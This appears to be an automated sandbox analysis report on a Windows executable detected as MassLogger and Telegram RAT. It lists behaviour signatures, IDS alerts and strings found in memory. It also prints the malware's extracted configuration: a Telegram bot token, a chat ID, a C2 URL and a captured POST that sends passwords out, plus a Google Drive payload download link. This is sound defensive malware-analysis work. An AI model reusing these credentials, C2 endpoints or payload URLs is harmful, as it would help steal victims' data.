Edit tour

Windows Analysis Report
ZaRP7yvL1J.exe

Overview

General Information

Sample name:	ZaRP7yvL1J.exe renamed because original name is a hash value
Original sample name:	ef36fbce388a09cd4c3374d0d9dda194745f76edd41dad82e8763ed35abc0299.exe
Analysis ID:	1588945
MD5:	df41e72f1c096d443cefd72755df031f
SHA1:	9d0b7929e7c650812071e38953d45521f8830f5e
SHA256:	ef36fbce388a09cd4c3374d0d9dda194745f76edd41dad82e8763ed35abc0299
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

ZaRP7yvL1J.exe (PID: 6908 cmdline: "C:\Users\user\Desktop\ZaRP7yvL1J.exe" MD5: DF41E72F1C096D443CEFD72755DF031F)

ZaRP7yvL1J.exe (PID: 3052 cmdline: "C:\Users\user\Desktop\ZaRP7yvL1J.exe" MD5: DF41E72F1C096D443CEFD72755DF031F)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA", "Telegram Chatid": "2065242915"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: ZaRP7yvL1J.exe PID: 3052	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: ZaRP7yvL1J.exe PID: 3052	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ZaRP7yvL1J.exe PID: 3052	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 1 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:32:03.547442+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49968	149.154.167.220	443	TCP
2025-01-11T07:32:05.375843+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49983	149.154.167.220	443	TCP
2025-01-11T07:32:07.002723+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49996	149.154.167.220	443	TCP
2025-01-11T07:32:08.524808+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	50007	149.154.167.220	443	TCP
2025-01-11T07:32:11.383091+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	50016	149.154.167.220	443	TCP
2025-01-11T07:32:12.919988+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	50018	149.154.167.220	443	TCP
2025-01-11T07:32:16.351728+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	50020	149.154.167.220	443	TCP
2025-01-11T07:32:17.916819+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	50022	149.154.167.220	443	TCP
2025-01-11T07:32:21.217034+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	50024	149.154.167.220	443	TCP
2025-01-11T07:32:24.193404+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	50026	149.154.167.220	443	TCP
2025-01-11T07:32:27.018151+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	50028	149.154.167.220	443	TCP
2025-01-11T07:32:29.166698+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	50030	149.154.167.220	443	TCP
2025-01-11T07:32:33.677129+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	50032	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:31:52.684100+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49892	193.122.6.168	80	TCP
2025-01-11T07:32:02.309183+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49892	193.122.6.168	80	TCP
2025-01-11T07:32:04.387334+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49978	193.122.6.168	80	TCP
2025-01-11T07:32:06.084703+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49991	193.122.6.168	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:31:46.466321+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49855	142.250.186.142	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:32:03.115558+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	49968	149.154.167.220	443	TCP
2025-01-11T07:32:04.967289+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	49983	149.154.167.220	443	TCP
2025-01-11T07:32:06.709751+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	49996	149.154.167.220	443	TCP
2025-01-11T07:32:08.250052+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	50007	149.154.167.220	443	TCP
2025-01-11T07:32:11.034010+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	50016	149.154.167.220	443	TCP
2025-01-11T07:32:12.632554+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	50018	149.154.167.220	443	TCP
2025-01-11T07:32:15.961929+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	50020	149.154.167.220	443	TCP
2025-01-11T07:32:17.696802+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	50022	149.154.167.220	443	TCP
2025-01-11T07:32:20.994975+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	50024	149.154.167.220	443	TCP
2025-01-11T07:32:23.891363+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	50026	149.154.167.220	443	TCP
2025-01-11T07:32:26.669545+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	50028	149.154.167.220	443	TCP
2025-01-11T07:32:28.844046+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	50030	149.154.167.220	443	TCP
2025-01-11T07:32:33.255971+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	50032	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31dfbf4d9096Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F7B000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F21000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.000000003608E000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F7B000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035DA0000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F21000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.000000003608E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F7B000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035DA0000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F21000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035D94000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.000000003608E000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035D21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: ZaRP7yvL1J.exe, 00000004.00000002.2951594871.0000000038912000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/_
Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgp
Source: ZaRP7yvL1J.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035D21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F7B000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F21000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.000000003608E000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065
Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgp
Source: ZaRP7yvL1J.exe, 00000004.00000003.2484098617.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2484170673.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: ZaRP7yvL1J.exe, 00000004.00000002.2932353178.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: ZaRP7yvL1J.exe, 00000004.00000002.2932353178.0000000005803000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1KcZPYu5jgn5AxI-SG2_U0KobG5DZYAUm
Source: ZaRP7yvL1J.exe, 00000004.00000002.2932353178.0000000005835000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2523839008.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: ZaRP7yvL1J.exe, 00000004.00000003.2523839008.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2484098617.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2932353178.000000000581C000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2484170673.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2932353178.0000000005803000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1KcZPYu5jgn5AxI-SG2_U0KobG5DZYAUm&export=download
Source: ZaRP7yvL1J.exe, 00000004.00000003.2523839008.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1KcZPYu5jgn5AxI-SG2_U0KobG5DZYAUm&export=download7I
Source: ZaRP7yvL1J.exe, 00000004.00000003.2523839008.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1KcZPYu5jgn5AxI-SG2_U0KobG5DZYAUm&export=downloadMI
Source: ZaRP7yvL1J.exe, 00000004.00000002.2932353178.0000000005835000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2523839008.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/hobf
Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035DA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035DA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035DA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: ZaRP7yvL1J.exe, 00000004.00000003.2484098617.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2484170673.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: ZaRP7yvL1J.exe, 00000004.00000003.2484098617.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2484170673.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: ZaRP7yvL1J.exe, 00000004.00000003.2484098617.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2484170673.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: ZaRP7yvL1J.exe, 00000004.00000003.2484098617.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2484170673.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: ZaRP7yvL1J.exe, 00000004.00000003.2484098617.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2484170673.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: ZaRP7yvL1J.exe, 00000004.00000003.2484098617.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2484170673.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: ZaRP7yvL1J.exe, 00000004.00000003.2484098617.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2484170673.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: ZaRP7yvL1J.exe, 00000004.00000003.2484098617.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2484170673.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.129:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49968 version: TLS 1.2

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Code function: 0_2_0040558F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040558F

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004034A5

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 0_2_00404DCC	0_2_00404DCC
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 0_2_00406AF2	0_2_00406AF2
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 0_2_6F951B5F	0_2_6F951B5F
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_00404DCC	4_2_00404DCC
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_00406AF2	4_2_00406AF2
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_000D4328	4_2_000D4328
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_000D9048	4_2_000D9048
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_000D5F90	4_2_000D5F90
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_000D2DD1	4_2_000D2DD1
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805587A	4_2_3805587A
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805331A	4_2_3805331A
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_380503C4	4_2_380503C4
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805CCA0	4_2_3805CCA0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_38057628	4_2_38057628
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805C638	4_2_3805C638
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805F042	4_2_3805F042
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_38057848	4_2_38057848
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805B08A	4_2_3805B08A
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805B930	4_2_3805B930
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_380569CB	4_2_380569CB
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805C1F2	4_2_3805C1F2
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805DA89	4_2_3805DA89
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805E33D	4_2_3805E33D
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805EBF2	4_2_3805EBF2
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805CC82	4_2_3805CC82
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805B4EC	4_2_3805B4EC
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805BD88	4_2_3805BD88
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_38056E91	4_2_38056E91
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_38056EA0	4_2_38056EA0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805DEE5	4_2_3805DEE5
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805E794	4_2_3805E794
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387AA9B0	4_2_387AA9B0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387ABA97	4_2_387ABA97
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387AA360	4_2_387AA360
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A9D10	4_2_387A9D10
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387ABDF0	4_2_387ABDF0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A8650	4_2_387A8650
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A96C8	4_2_387A96C8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A7070	4_2_387A7070
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A1858	4_2_387A1858
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A0040	4_2_387A0040
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A4820	4_2_387A4820
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A20FA	4_2_387A20FA
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387AF130	4_2_387AF130
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387AF120	4_2_387AF120
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A2108	4_2_387A2108
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A29B8	4_2_387A29B8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A29A8	4_2_387A29A8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387AA9A0	4_2_387AA9A0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A3268	4_2_387A3268
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A3258	4_2_387A3258
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A5208	4_2_387A5208
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A5207	4_2_387A5207
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A5AB8	4_2_387A5AB8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A6368	4_2_387A6368
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A6361	4_2_387A6361
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387AA352	4_2_387AA352
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A7B4F	4_2_387A7B4F
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A3B1A	4_2_387A3B1A
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A3B18	4_2_387A3B18
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A13F0	4_2_387A13F0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A43C8	4_2_387A43C8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A6C18	4_2_387A6C18
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A6C09	4_2_387A6C09
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A1400	4_2_387A1400
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A74C8	4_2_387A74C8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A1CB0	4_2_387A1CB0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A1CA0	4_2_387A1CA0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_387A2560	4_2_387A2560
